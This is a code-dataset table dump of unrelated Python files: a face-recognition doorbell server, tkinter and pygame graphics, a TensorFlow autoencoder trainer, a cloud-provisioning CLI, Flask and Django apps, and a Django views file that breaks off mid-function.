index int64 0 1,000k | blob_id stringlengths 40 40 | code stringlengths 7 10.4M |
|---|---|---|
16,900 | c45fc8515e812ef055855ee49ac60e791352f40a | import cv2
import numpy as np
import os
import socket
import time
from datetime import datetime
import threading
import urllib.request
import pymysql.cursors
# DB ํธ๋ค ๋ฏธ๋ฆฌ ํด๋๊ธฐ
#conn = pymysql.connect(host='192.168.0.111', user='%', password='',db='smartvideophone',charset='utf8mb4')
conn = pymysql.connect(host='192.168.219.107', user='%', password='',db='smartvideophone',charset='utf8mb4')
# ํด๋ผ์ด์ธํธ ๋ณ ์ค๋ ๋
class ClientThread(threading.Thread):
def __init__(self,ip,port):
threading.Thread.__init__(self)
self.ip = ip
self.port = port
print ("[+] New thread started for "+ip+":"+str(port))
def run(self):
print ("Connection from : "+ip+":"+str(port))
#if (ip=="192.168.0.110"):
if (ip=="192.168.219.104"):
while True:
tmp = clientSock.recv(1024).decode()
print(tmp)
if (tmp != "") and (tmp == "triggered"):
currTime = datetime.today().strftime("%Y%m%d%H%M")
destPath = currTime + ".jpg"
print(currTime+"cccc")
#urllib.request.urlretrieve("http://192.168.0.110:8090/?action=snapshot","C:\\xampp\\htdocs\\" + destPath)
urllib.request.urlretrieve("http://192.168.219.104:8090/?action=snapshot","C:\\xampp\\htdocs\\" + destPath)
#try:
with conn.cursor() as cursor:
sql='INSERT INTO visit_log (image) VALUES (%s)'
cursor.execute(sql, (destPath,))
conn.commit()
print(cursor.lastrowid)
print("์กฐ๊ธฐ์ฐ๊ฒฐํด์ ")
else:
while True:
tmp = clientSock.recv(1024).decode()
print(tmp+",client said.")
if (tmp != "") and (tmp == "recognize"):
# ์ธ์ํ๋ผ๊ณ ๋ฉ์์ง๊ฐ ์ค๋ฉด mjpgstreamer์์ ์ค๋
์ท์ ๊ฐ์ง๊ณ face recognition์ ์งํ
# recognition ๊ฒฐ๊ณผ๋ฅผ ๋ฐํ๋ฐ์ tcp/ip ์ก์ ํ๋๋ก ๋ฐ๊พธ๊ธฐ
recognizer = cv2.face.LBPHFaceRecognizer_create()
recognizer.read('trainer.yml')
cascadePath = "haarcascades/haarcascade_frontalface_default.xml"
faceCascade = cv2.CascadeClassifier(cascadePath);
font = cv2.FONT_HERSHEY_SIMPLEX
#iniciate id counter
id = 0
# names related to ids: example ==> loze: id=1, etc
# ์ด๋ฐ์์ผ๋ก ์ฌ์ฉ์์ ์ด๋ฆ์ ์ฌ์ฉ์ ์๋งํผ ์ถ๊ฐํด์ค๋ค.
names = ['None', 'ohjinjin']
# Initialize and start realtime video capture
#cam = cv2.VideoCapture(0)
cap = cv2.VideoCapture("http://192.168.219.104:8090/?action=stream")
cap.set(3, 640) # set video widht
cap.set(4, 480) # set video height
# Define min window size to be recognized as a face
minW = 0.1*cap.get(3)
minH = 0.1*cap.get(4)
boool = False
path = 0
while True:
#ret, img =cam.read()
ret, img = cap.read()
gray = cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)
faces = faceCascade.detectMultiScale(
gray,
scaleFactor = 1.2,
minNeighbors = 5,
minSize = (int(minW), int(minH)),
)
for(x,y,w,h) in faces:
cv2.rectangle(img, (x,y), (x+w,y+h), (0,255,0), 2)
id, confidence = recognizer.predict(gray[y:y+h,x:x+w])
# Check if confidence is less them 100 ==> "0" is perfect match
if (confidence < 100):
boool = True
id = names[id]
confidence = " {0}%".format(round(100 - confidence))
clientSock.sendall("True\n".encode())
print("cheche")
else:
id = "unknown"
confidence = " {0}%".format(round(100 - confidence))
cv2.putText(img, str(id), (x+5,y-5), font, 1, (255,255,255), 2)
cv2.putText(img, str(confidence), (x+5,y+h-5), font, 1, (255,255,0), 1)
cv2.imshow('camera',img)
#k = cv2.waitKey(10) & 0xff # Press 'ESC' for exiting video
if boool or path>50:
if not boool:
clientSock.sendall("False\n".encode())
#break
boool = False
break
path += 1
#print(path)
# Do a bit of cleanup
#print("\n [INFO] Exiting Program and cleanup stuff")
cap.release()
cv2.destroyAllWindows()
time.sleep(5)
## tcp/ip ์์ผ ์์ฑ
# ์ ์ํ ์๋ฒ ์ฃผ์
#HOST ='192.168.0.111' # or loopback addr
HOST ='192.168.219.107' # or loopback addr
# ํด๋ผ์ด์ธํธ ์ ์์ ๋๊ธฐํ๋ ํฌํธ ๋ฒํธ
PORT = 8000
# ์ฃผ์ ์ฒด๊ณ๋ก IPv4, ์์ผ ํ์
์ผ๋ก TCP ์ฌ์ฉ
serverSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# ํฌํธ ์ฌ์ฉ์ค์ด๋ผ ์ฐ๊ฒฐํ ์ ์๋ค๋ winError 10048 ์๋ฌ ํด๊ฒฐ์ ์ํด ํ์
serverSock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# ๋คํธ์ํฌ ์ธํฐํ์ด์ค์ ํฌํธ ๋ฒํธ์ ์์ผ์ ๋ฐ์ธ๋ฉ
serverSock.bind((HOST, PORT))
# ์๋๋ก์ด๋ ์ค๋ ๋๋ค ๊ด๋ฆฌ
threads = []
while True:
# ์๋ฒ๊ฐ ํด๋ผ์ด์ธํธ์ ์ ์์ ํ์ฉํ๋๋ก_์ต๋ 4๋ช
๊น์ง
serverSock.listen(4)
# accept ํจ์์์ ๋๊ธฐํ๋ค๊ฐ ํด๋ผ์ด์ธํธ๊ฐ ์ ์ํ๋ฉด ์๋ก์ด ์์ผ์ ๋ฆฌํด
(clientSock, (ip, port)) = serverSock.accept()
newthread = ClientThread(ip, port)
newthread.start()
threads.append(newthread)
print("\nํด๋ผ์ด์ธํธ ์: "+str(len(threads)))
|
16,901 | 8212c72f4f8e46bdf33f107c2551f757966a54f0 |
import tkinter
import random
import time
import ISSM_Snowflake
CLOUD_COLOR = '#f0f8ff'
BACKGROUND = '#b0c4de'
FLAKE_COLOR = '#f0ffff'
CANVAS_WIDTH = 800
CANVAS_HEIGHT = 600
NUM_BINS = 10
NUM_CLOUDS = 7
BIN_HEIGHT = 0.75
TO_FALL = 100
TAG = 'snowflake'
class GlacierApplication:
def __init__(self):
self._root_window = tkinter.Tk()
self.my_canvas = tkinter.Canvas(master = self._root_window, background = BACKGROUND,
width = CANVAS_WIDTH, height = CANVAS_HEIGHT)
self.snowflake_list = []
def start(self):
'''Starts the application and draws all the needed tkinter objects'''
self.my_canvas.pack()
self.my_canvas.tag_bind(TAG, '<B1-Motion>', lambda e: self.drag_circle(e, self.my_canvas))
frame = tkinter.Frame(self._root_window, width = CANVAS_WIDTH, height = CANVAS_HEIGHT)
self.my_canvas.bind("<Button-1>", self.clicked_at)
self.draw_cloud()
self.draw_bins()
self.draw_snowflake()
heights = self.accumulate(NUM_BINS, [5, 15, 8, 15, 24, 30, 4, 17], None)
glacier = self.draw_glacier(heights)
self.my_canvas.delete(glacier)
for i in range(10):
heights = self.accumulate(NUM_BINS, heights, None)
glacier = self.draw_glacier(heights)
self.my_canvas.delete(glacier)
heights = self.accumulate(NUM_BINS, heights, None)
glacier = self.draw_glacier(heights)
self._root_window.mainloop()
def draw_snowflake(self):
'''Draws one snowflake'''
self.snow_list = []
for i in range(100):
x = random.randrange(0, CANVAS_WIDTH)
y = random.randrange(0, CANVAS_HEIGHT)
self.snow_list.append([x, y])
while True:
for i in range(len(self.snow_list)): # ADDS SNOWLAKES ON THE SIDE
self.flake = self.my_canvas.create_oval(self.snow_list[i][0], self.snow_list[i][1], self.snow_list[i][0]+7, self.snow_list[i][1]+7, outline = FLAKE_COLOR, fill = FLAKE_COLOR, tag=TAG)
self.snow_list[i][1] += 1
# self.snow_list[i][0] += (random.randrange(-10,10))
self._root_window.update()
self.snow_list.sort()
print(self.snow_list)
time.sleep(.1)
for i in range(len(self.snow_list)):
x = self.my_canvas.find_closest(self.snow_list[i][0],self.snow_list[i][1])
self.my_canvas.delete(x)
if self.snow_list[i][1] > CANVAS_HEIGHT:
self.snow_list[i][1] = random.randrange(-50,-10)
self.snow_list[i][0] = random.randrange(0, CANVAS_WIDTH)
def drag_circle(self, event, canvas):
x = canvas.canvasx(event.x)
y = canvas.canvasy(event.y)
print('coord', canvas.coords(TAG, x-7, y-7, x+7, y+7))
def draw_cloud(self):
'''Draws the cloud (made for different sized windows)'''
for i in range(NUM_CLOUDS):
self.my_canvas.create_arc((i/NUM_CLOUDS)*CANVAS_WIDTH-100, -100, (i/NUM_CLOUDS)*CANVAS_WIDTH+200, 50, start = 189, extent = 190, style = 'chord', fill = CLOUD_COLOR, outline = CLOUD_COLOR)
def draw_bins(self):
'''Draws bins according to the number of bins needed and percent of canvas height'''
for i in range(NUM_BINS):
self.my_canvas.create_line((i/NUM_BINS)*CANVAS_WIDTH, BIN_HEIGHT*CANVAS_HEIGHT, (i/NUM_BINS)*CANVAS_WIDTH, CANVAS_HEIGHT)
def draw_glacier(self, heights:list):
'''Draws the glacier using the polygon'''
coord = []
for i in range(len(heights)-1):
coord.append((i/NUM_BINS)*CANVAS_WIDTH)
coord.append(CANVAS_HEIGHT - heights[i])
coord.append(CANVAS_WIDTH)
coord.append(CANVAS_HEIGHT)
coord.append(0)
coord.append(CANVAS_HEIGHT)
self.glacier = self.my_canvas.create_polygon(coord, outline = '#b0c4de', fill = 'white')
return self.glacier
def delete_glacier (self, heights: list):
coord = []
for i in range(len(heights)-1):
coord.append((i/NUM_BINS)*CANVAS_WIDTH)
coord.append(CANVAS_HEIGHT - heights[i])
coord.append(CANVAS_WIDTH)
coord.append(CANVAS_HEIGHT)
coord.append(0)
coord.append(CANVAS_HEIGHT)
self.my_canvas.delete(coord)
def accumulate(self, bins:int, heights: [int], flakes_in_bin:[int]):
'''Randomly changes the heights of the glacier'''
self.points = []
for height in heights:
self.points.append(height + random.randint(0,10))
return self.points
def clicked_at(self, event):
print(event.x, event.y)
for i in range(len(self.snow_list)):
if self.snow_list[i][0]<=event.x<=self.snow_list[i][0]+7 and self.snow_list[i][1]<=event.y<=self.snow_list[i][1]:
print("here!")
if __name__ == '__main__':
GlacierApplication().start()
# http://www.tutorialspoint.com/python/tk_canvas.htm
# http://infohost.nmt.edu/tcc/help/pubs/tkinter/web/create_arc.html
# http://zetcode.com/gui/tkinter/drawing/
# http://www.python-course.eu/tkinter_canvas.php
# http://effbot.org/tkinterbook/tkinter-events-and-bindings.htm
# http://effbot.org/tkinterbook/canvas.htm
# http://www.cyberciti.biz/faq/python-sleep-command-syntax-example/
# https://www.daniweb.com/software-development/python/threads/468733/time-sleep-in-for-loop-using-tkinter
# https://www.daniweb.com/software-development/python/threads/468733/time-sleep-in-for-loop-using-tkinter#post2042946
# http://programarcadegames.com/index.php?chapter=introduction_to_animation
# http://stackoverflow.com/questions/18720595/python-tkinter-smooth-move
# http://effbot.org/tkinterbook/widget.htm
# http://programarcadegames.com/index.php?chapter=introduction_to_animation
# http://www.greenteapress.com/thinkpython/html/thinkpython020.html
'''
after function? http://effbot.org/tkinterbook/widget.htm
http://programarcadegames.com/index.php?chapter=introduction_to_animation
Draggable class that I never used?
http://www.greenteapress.com/thinkpython/html/thinkpython020.html
''' |
16,902 | 3c8d30cae53e45dd20d570fac23db51c1fa9d362 | import json
import requests
response = requests.get(' https://www.nbrb.by/api/exrates/rates/dynamics/145?startDate=2021-6-18&endDate=2021-6-25')
data = json.loads(response.text)
print(data)
def average(data_):
summa = 0
days = 0
for i in data_:
summa += i['Cur_OfficialRate']
days += 1
return summa / days
print(average(data))
|
16,903 | 9eabed2908b21b1766967fbdeeb40276726cef70 | import pygame
import sys
class Runnable(object):
def __init__(self):
self.running = True
self.run_result = None
def stop(self, result=None):
self.run_result = result
self.running = False
def run(self):
undermouse = None
saved_background = self.surf.copy()
while self.running:
dirtyrect = self.paint(show_boxes=False)
pygame.display.update(dirtyrect)
event = pygame.event.wait()
if event.type == pygame.MOUSEBUTTONDOWN:
self.onclick(event.pos)
if event.type == pygame.MOUSEMOTION:
if not undermouse:
undermouse = self.mouseover(event.pos)
elif not undermouse.rect.collidepoint(event.pos):
undermouse.mouseoff()
undermouse = self.mouseover(event.pos)
elif event.type == pygame.QUIT:
sys.exit()
dirtyrect = self.surf.blit(saved_background, (0, 0))
pygame.display.update(dirtyrect)
return self.run_result
|
16,904 | e3d34cc2ec504a3b8e550a8a604b0f195276bb18 | # Generated by Django 3.1.2 on 2020-11-03 00:40
from django.db import migrations, models
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='CurrentWx',
fields=[
('date', models.DateField(primary_key=True, serialize=False)),
('month_day', models.CharField(max_length=5)),
('min_temp', models.FloatField(blank=True, null=True)),
('max_temp', models.FloatField(blank=True, null=True)),
],
),
migrations.CreateModel(
name='Info',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('last_update', models.DateField()),
],
),
migrations.CreateModel(
name='WxStats',
fields=[
('month_day', models.CharField(max_length=5, primary_key=True, serialize=False)),
('last_date', models.DateField()),
('stats_count', models.IntegerField()),
('record_min_temp', models.FloatField()),
('avg_min_temp', models.FloatField()),
('avg_max_temp', models.FloatField()),
('record_max_temp', models.FloatField()),
],
),
]
|
16,905 | 96502a546598329a9ebba731ec48a211c397a84f | import tensorflow as tf
from tensorflow.examples.tutorials.mnist import input_data
import numpy as np
import time
import os
import TransformingAutoEncoder
class Trainer():
def __init__(self, model, learning_rate, weight_decay, momentum, batch_size, total_steps, ckptdir, logdir):
self.model = model
self.learning_rate = learning_rate
self.weight_decay = weight_decay
self.momentum = momentum
self.total_steps = total_steps
self.ckptdir = ckptdir
self.batch_size = batch_size
self.logdir = logdir
self.train_writer = None
self.test_writer = None
self.input = None
self.expectation = None
self.shift = None
self.data_preparation()
def data_preparation(self):
mnist = input_data.read_data_sets('data', one_hot=True,
source_url='http://yann.lecun.com/exdb/mnist/')
def translate(input, shift=5, legth=28):
X = np.reshape(input, (len(input), legth, legth))
expectation, shift_list, original = [], [], []
for i in np.random.permutation(len(X)):
trans_x = np.random.randint(-shift, shift)
trans_y = np.random.randint(-shift, shift)
trans_img = np.roll(np.roll(X[i], trans_x, axis=0), trans_y, axis=1)
expectation.append((trans_img.flatten()-0.5)*2)
original.append((input[i] - 0.5) * 2)
shift_list.append((trans_x, trans_y))
return np.array(expectation), np.array(shift_list), np.array(original)
self.expectation, self.shift, self.input = translate(mnist.train.images)
self.expectation_v, self.shift_v, self.input_v = translate(mnist.validation.images)
def get_batch(self, train=True):
if train:
id = np.random.randint(low=0, high=self.input.shape[0], size=self.batch_size, dtype=np.int32)
return {self.model.input: self.input[id, ...],
self.model.shift: self.shift[id, ...],
self.model.expectation: self.expectation[id, ...]}
else:
id = np.random.randint(low=0, high=self.input_v.shape[0], size=self.batch_size, dtype=np.int32)
return {self.model.input: self.input_v[id, ...],
self.model.shift: self.shift_v[id, ...],
self.model.expectation: self.expectation_v[id, ...]}
def train(self):
with tf.name_scope('train'):
global_step = tf.Variable(1, name="global_step")
learning_rate = tf.train.exponential_decay(self.learning_rate,
global_step, 500, 0.98, True, "learning_rate")
train_step = tf.train.AdamOptimizer(self.learning_rate).minimize(
self.model.loss, global_step=global_step)
tf.summary.scalar('learning_rate', learning_rate)
merged = tf.summary.merge_all()
with tf.Session() as sess:
self.train_writer = tf.summary.FileWriter(self.logdir + '/train', sess.graph)
self.test_writer = tf.summary.FileWriter(self.logdir + '/test', sess.graph)
self.train_writer.flush()
self.test_writer.flush()
saver = tf.train.Saver(name="saver")
if tf.gfile.Exists(os.path.join(self.ckptdir, 'checkpoint')):
saver.restore(sess, os.path.join(self.ckptdir, 'model.ckpt'))
else:
tf.gfile.MkDir(self.ckptdir)
sess.run(tf.global_variables_initializer())
for i in range(self.total_steps):
sess.run(train_step, feed_dict=self.get_batch())
if i % 1000 == 0 and i != 0: # Record summaries and test-set accuracy
summary = sess.run(merged, feed_dict=self.get_batch())
self.train_writer.add_summary(summary, i)
summary = sess.run(merged, feed_dict=self.get_batch(False))
self.test_writer.add_summary(summary, i)
saver.save(sess, os.path.join(self.ckptdir, 'model.ckpt'))
|
16,906 | 1bb876f801693edf8e776d17f0a62feb3de0bd0f | ___author__ = 'Fernando Garcia Barrera__Andres Baron__Kevin Ruiz_Corregido'
import math
import matplotlib.pylab as plt
import wave
import pyaudio
class Seno:
wavearray = []
def __init__(self, frecuencia, sampling, bits, time, max):
self.SamplingRate = sampling
self.NumeroBit = bits
self.Seconds = time
self.Frecuencia = frecuencia
self.tamano = sampling * time
self.Per=max
def generarCuadrada(self):
for i in range(0,self.tamano):
A=((4.0/float(math.pi))*(2**self.NumeroBit))/100.0
datos=0
k=1
for j in range(0,50):
value=(1/float(k))*math.sin((k*math.pi*self.Frecuencia*i)/self.SamplingRate)
datos=datos+value
k=k+2
frame=datos*self.Per
Seno.wavearray.append(frame)
print max(Seno.wavearray)
return Seno.wavearray
def generarTriangular(self):
for i in range(0,self.tamano):
A=((8.0/float(math.pi**2))*(2**self.NumeroBit))/100.0
datos=0
k=1
for j in range(0,50):
value=(((-1)**((float(k-1))/2.0))/float(k**2))*math.sin((k*math.pi*self.Frecuencia*i)/self.SamplingRate)
datos=datos+value
k=k+2
frame=datos*self.Per
Seno.wavearray.append(frame)
print max(Seno.wavearray)
return Seno.wavearray
def generarDiente(self):
for i in range(0,self.tamano):
A=(((0.5)-(1/float(math.pi)))*(2**self.NumeroBit))/100.0
datos=0
for j in range(0,100):
par=j%2
if par:
value=(1/float(j))*math.sin((j*math.pi*self.Frecuencia*i)/self.SamplingRate)
datos=datos+value
frame=datos*self.Per
Seno.wavearray.append(frame)
print max(Seno.wavearray)
return Seno.wavearray
def generarSeno(self):
for i in range(0, self.tamano):
A=((2**self.NumeroBit)/2)
datos = self.Per*math.sin((2*math.pi*self.Frecuencia*i)/self.SamplingRate)
Seno.wavearray.append(datos)
return Seno.wavearray
def graficar(self, array):
plt.plot(array, color="green", linewidth=1.0, linestyle="-")
plt.show() |
16,907 | 9bccfc4524a91393d24fc17c9f0af8b3342b291c | # -*- coding: utf-8 -*-
"""Console script for pycloud."""
import sys
import click
from pycloud.logger import configure_logger, get_logger, ALLOWED_LOG_LEVELS
from pycloud.core.provisioners.plan_executor import PlanExecutor
from pycloud.core.config import PyCloudConfig
from pycloud.core.keypair_storage import KeyPairStorage
logger = get_logger()
def validate_for_aws(access_key, secret_key):
'''
Validates the provided aws access_key and secret_key.
'''
if not access_key:
click.secho(
'Please provide AWS Access Key either as a parameter "--access-key=VALUE" '
'or as an environment variable AWS_ACCESS_KEY',
fg='red')
raise click.BadParameter('Access Key is not set.')
if not secret_key:
click.secho(
'Please provide AWS Secret Key either as a parameter "--secret-key=VALUE" '
'or as an environment variable AWS_SECRET_KEY',
fg='red')
raise click.BadParameter('Secret Key is not set.')
@click.group()
@click.option('-l', '--log-level', envvar='PYCLOUD_LOG_LEVEL',
help='Set the Log Level for the command. Default: info',
type=click.Choice([l.lower() for l in ALLOWED_LOG_LEVELS]),
default='info')
@click.pass_context
def pycloud(ctx, log_level):
"""
PyCloud Provisions a VM in the cloud,
"""
KeyPairStorage.initialize()
PyCloudConfig.initialize_state_mgmt()
ctx.obj = {}
configure_logger(level=log_level)
return 0
@pycloud.command()
@click.option('-a', '--access-key', envvar='AWS_ACCESS_KEY',
help='AWS Access Key. You can also set environment variable AWS_ACCESS_KEY.')
@click.option('-s', '--secret-key', envvar='AWS_SECRET_KEY',
help='AWS Secret Key. You can also set environment variable AWS_SECRET_KEY.')
@click.argument('plan', type=click.Path(exists=True))
@click.pass_context
def setup(ctx, access_key, secret_key, plan):
'''
Sets up the infrastructure as specified by the plan.
'''
validate_for_aws(access_key, secret_key)
ctx.obj['AWS_ACCESS_KEY'] = access_key
ctx.obj['AWS_SECRET_KEY'] = secret_key
executor = PlanExecutor(plan, _globals=ctx.obj)
executor.setup()
@pycloud.command()
@click.option('-a', '--access-key', envvar='AWS_ACCESS_KEY',
help='AWS Access Key. You can also set environment variable AWS_ACCESS_KEY.')
@click.option('-s', '--secret-key', envvar='AWS_SECRET_KEY',
help='AWS Secret Key. You can also set environment variable AWS_SECRET_KEY.')
@click.argument('plan', type=click.Path(exists=True))
@click.pass_context
def teardown(ctx, access_key, secret_key, plan):
'''
Tears down the infrastructure as specified by the plan.
'''
validate_for_aws(access_key, secret_key)
ctx.obj['AWS_ACCESS_KEY'] = access_key
ctx.obj['AWS_SECRET_KEY'] = secret_key
executor = PlanExecutor(plan, _globals=ctx.obj)
executor.teardown()
@pycloud.command()
@click.pass_context
def docs(ctx):
'''
Dumps the documentation for the available provisioners.
'''
executor = PlanExecutor(None, _globals=ctx.obj)
executor.help()
if __name__ == "__main__":
sys.exit(pycloud()) # pragma: no cover
|
16,908 | e875d314f9da3c52575d0d187484e339fbc730f5 | from flask import Flask
from flask_sqlalchemy import SQLAlchemy
app = Flask(__name__)
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///ejemplo.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
db = SQLAlchemy(app)
db.Model.metadata.reflect(db.engine)
class Clients(db.Model):
__table__ = db.Model.metadata.tables['Clientes']
def __repr__(self):
return self.Nombre
Clients.query.all()
class User(db.Model):
id = db.Column(db.Integer, primary_key=True)
username = db.Column(db.String(64), index=True, unique=True)
email = db.Column(db.String(120), index=True, unique=True)
def __repr__(self):
return '<User {}>'.format(self.username)
db.create_all()
db.session.commit()
u = User(username='susan', email='susan@example.com')
db.session.add(u)
db.session.commit()
u = User.query.get(1) |
16,909 | 7378136891330b756ebefed301bb3d0468cfe4be | from django.shortcuts import render, redirect
from django.http import HttpResponse
from django.contrib.auth.models import User
from django.contrib.sites.shortcuts import get_current_site
from django.contrib.auth import login, authenticate
from .forms import SignupForm
from .forms import SettingForm
from django.contrib.sites.shortcuts import get_current_site
from django.utils.encoding import force_bytes, force_text
from django.utils.http import urlsafe_base64_encode, urlsafe_base64_decode
from django.template.loader import render_to_string
from .tokens import account_activation_token
from django.contrib.auth.models import User
from django.core.mail import EmailMessage
from django.http import HttpResponsePermanentRedirect, HttpResponseRedirect
from django.shortcuts import render_to_response
from .forms import AimForm, ListForm, SubAimForm, SubaimParsingForm, DescriptionForm
from django.core import serializers
from .models import Setting, Aim, Description, List as ListModel
from .analysis import *
from django.http import JsonResponse
import json
from django.views.generic.list import ListView
from django.core.paginator import Paginator, PageNotAnInteger, EmptyPage
from django.shortcuts import render_to_response
from django.template import RequestContext
from django.views.generic.edit import CreateView, UpdateView, DeleteView
from django.urls import reverse_lazy
from django.urls import reverse
import subprocess
import os
import subprocess
import os
import sys
from AchieveMe.settings import MEDIA_ROOT
from .google_calendar_interaction import calendar_authorization, add_to_calendar
from datetime import datetime
from django.views.decorators.csrf import csrf_exempt
from io import StringIO
import sys
animation = ['https://tenor.com/view/my-sweet-nikolay-baskov-pretty-flirting-well-done-gif-12572792', 'https://media1.tenor.com/images/c43edbd71c0d25df686498663517ff3a/tenor.gif?itemid=10982639',
'https://tenor.com/0UU8.gif']
def fcollage(username):
pictures = "montage -geometry +0+0 "
big_pictures = "montage -geometry +0+0 "
images = get_images(username)
for image in images:
pictures += MEDIA_ROOT + str(image) + " "
big_pictures += MEDIA_ROOT + str(image) + " "
if (len(images) % 2 == 1):
pictures += MEDIA_ROOT + "banner.png "
big_pictures += MEDIA_ROOT + "banner.png "
pictures += MEDIA_ROOT + 'collage.png'
big_pictures += MEDIA_ROOT + "big_collage.png"
# print(pictures)
# print(big_pictures)
subprocess.call(pictures, shell=True)
subprocess.call(big_pictures, shell=True)
def get_images(username):
aims = Aim.objects.filter(user_name = username, is_completed = False, parent_id = -1)
images = list()
for i in aims:
images.append(i.image)
return images
def validate(username, password):
try:
user = User.objects.get(username=username)
except User.DoesNotExist:
return false
return user.check_password(password)
def api_check_password(request, username):
if 'HTTP_PASSWORD' not in request.META:
return HttpResponse('Password is required')
password = request.META['HTTP_PASSWORD']
return JsonResponse({'correct' : validate(username, password)})
@csrf_exempt
def api_progress(request, username, aimid):
if 'HTTP_PASSWORD' not in request.META or not validate(username, request.META['HTTP_PASSWORD']):
return HttpResponse(status=404)
try:
aim = Aim.objects.get(pk=aimid)
except Aim.DoesNotExist:
return HttpResponse(status=404)
fields = json.loads(request.body.decode('utf-8'))
aim.cur_points = fields['cur_points']
aim.all_points = fields['all_points']
aim.save()
response = serializers.serialize('json', [aim], ensure_ascii=False, indent=2)[2:-2]
return HttpResponse(response)
@csrf_exempt
def api_lists(request, username):
if 'HTTP_PASSWORD' not in request.META or not validate(username, request.META['HTTP_PASSWORD']):
return HttpResponse(status=404)
if request.method == 'GET':
data = serializers.serialize('json', ListModel.objects.filter(user_name=username),
ensure_ascii=False, indent=2)
return HttpResponse(data, content_type='application/json')
if request.method == 'POST':
fields = json.loads(request.body.decode('utf-8'))
new_list = ListModel(name=fields['name'], user_name=username)
new_list.save()
response = serializers.serialize('json', [new_list], ensure_ascii=False, indent=2)[2:-2]
return HttpResponse(response)
def api_user_aims(request, username):
if 'HTTP_PASSWORD' not in request.META or not validate(username, request.META['HTTP_PASSWORD']):
return HttpResponse(status=404)
aims = serializers.serialize('json', Aim.objects.filter(user_name=username, is_completed=False), ensure_ascii=False, indent=2)
return HttpResponse(aims, content_type='application/json')
@csrf_exempt
def api_aims(request, username, listid):
if 'HTTP_PASSWORD' not in request.META or not validate(username, request.META['HTTP_PASSWORD']):
return HttpResponse(status=404)
if request.method == 'GET':
data = serializers.serialize('json', Aim.objects.filter(user_name=username, list_id=int(listid), parent_id=-1),
ensure_ascii=False, indent=2)
return HttpResponse(data, content_type='application/json')
if request.method == 'POST':
if not request.body:
try:
aim = Aim.objects.get(pk=listid, user_name=username)
except Aim.DoesNotExist:
return HttpResponse(status=404)
aim.is_important = not aim.is_important
aim.save()
response = serializers.serialize('json', [aim], ensure_ascii=False, indent=2)[2:-2]
return HttpResponse(response)
fields = json.loads(request.body.decode('utf-8'))
aim = Aim(user_name=username, list_id=listid, parent_id=fields['parent_id'], name=fields['name'],
deadline=datetime.strptime(fields['date'] + ' ' + fields['time'], '%Y-%m-%d %H:%M'))
aim.save()
aim = Aim.objects.filter(user_name=username).last()
descr = Description(aim_id=aim.id, text=fields['description'])
descr.save()
response = serializers.serialize('json', [aim], ensure_ascii=False, indent=2)[2:-2]
return HttpResponse(response)
if request.method == 'DELETE':
try:
to_delete = ListModel.objects.get(pk=listid)
to_delete.delete()
response = serializers.serialize('json', [to_delete], ensure_ascii=False, indent=2)[2:-2]
return HttpResponse(response)
except ListModel.DoesNotExist:
return HttpResponse(status=404)
@csrf_exempt
def api_aim(request, username, listid, aimid):
if 'HTTP_PASSWORD' not in request.META or not validate(username, request.META['HTTP_PASSWORD']):
return HttpResponse(status=404)
try:
aim = Aim.objects.get(pk=aimid, user_name=username)
except Aim.DoesNotExist:
return HttpResponse(status=404)
if request.method == 'GET':
data = serializers.serialize('json', [aim], ensure_ascii=False, indent=2)
subaims = serializers.serialize('json', Aim.objects.filter(parent_id=aimid),
ensure_ascii=False, indent=2)
descr = serializers.serialize('json', Description.objects.filter(aim_id=aimid))
aim_info = json.loads(data[2:-2])
subaims_info = json.loads(subaims)
description = json.loads(descr)
aim_info['subaims'] = subaims_info
aim_info['fields']['description'] = description[0] if description else {"fields" : {"text": ""}}
return JsonResponse(aim_info)
response = serializers.serialize('json', [aim], ensure_ascii=False, indent=2)[2:-2]
if request.method == 'POST':
if not request.body:
aim.is_completed = not aim.is_completed
aim.save()
return HttpResponse(response)
fields = json.loads(request.body.decode('utf-8'))
aim.name = fields['name']
aim.deadline = datetime.strptime(fields['date'] + ' ' + fields['time'], '%Y-%m-%d %H:%M')
try:
descr = Description.objects.get(aim_id=aimid)
descr.text = fields['description']
descr.save()
except Description.DoesNotExist:
descr = Description(aim_id=aimid, text=fields['description'])
descr.save()
aim.save()
return HttpResponse(response)
if request.method == 'DELETE':
aim.delete()
return HttpResponse(response)
@csrf_exempt
def api_analysis(request, username, listid):
if 'HTTP_PASSWORD' not in request.META or not validate(username, request.META['HTTP_PASSWORD']):
return HttpResponse(status=404)
fields = json.loads(request.body.decode('utf-8'))
try:
parentid = fields['parent_id']
except KeyError:
parentid = -1
name, dead_line = goal_analysis(fields['text'])
dead_line = dead_line.replace(hour=12, minute=0)
aim = Aim(name = name, deadline = dead_line, user_name = username, list_id = listid, parent_id = parentid)
aim.save()
try:
new_aim = Aim.objects.get(pk=aim.pk)
except Aim.DoesNotExist:
return HttpResponse(status=404)
response = serializers.serialize('json', [new_aim], ensure_ascii=False, indent=2)[2:-2]
return HttpResponse(response)
def index(request):
return render(request, 'index.html')
def signup(request):
if request.method == 'POST':
form = SignupForm(request.POST)
if form.is_valid():
user = form.save(commit=False)
user.is_active = False
user.save()
setting = Setting.objects.create(user_name=user.username)
current_site = get_current_site(request)
mail_subject = 'ะะบัะธะฒะฐัะธั ะฐะบะบะฐัะฝัะฐ - AchieveMe'
message = render_to_string('acc_active_email.html', {
'user': user,
'domain': current_site.domain,
'uid':urlsafe_base64_encode(force_bytes(user.pk)).decode(),
'token':account_activation_token.make_token(user),
})
to_email = form.cleaned_data.get('email')
email = EmailMessage(
mail_subject, message, to=[to_email]
)
email.send()
return render(request, 'signup_complete.html', {'form':form})
else:
form = SignupForm()
return render(request, 'signup.html', {'form': form})
def profile_redirect(request):
return HttpResponsePermanentRedirect("/profile/")
def redirect_to_aim(request, username, listid, aimid):
return HttpResponsePermanentRedirect("/"+username+"/lists/"+listid+'/'+aimid)
def redirect_to_aimlist(request, username, listid):
return HttpResponsePermanentRedirect("/"+username+"/lists/"+listid)
def redirect_to_list(request, username):
return HttpResponsePermanentRedirect("/"+username+"/lists/")
def activate(request, uidb64, token):
try:
uid = force_text(urlsafe_base64_decode(uidb64))
user = User.objects.get(pk = uid)
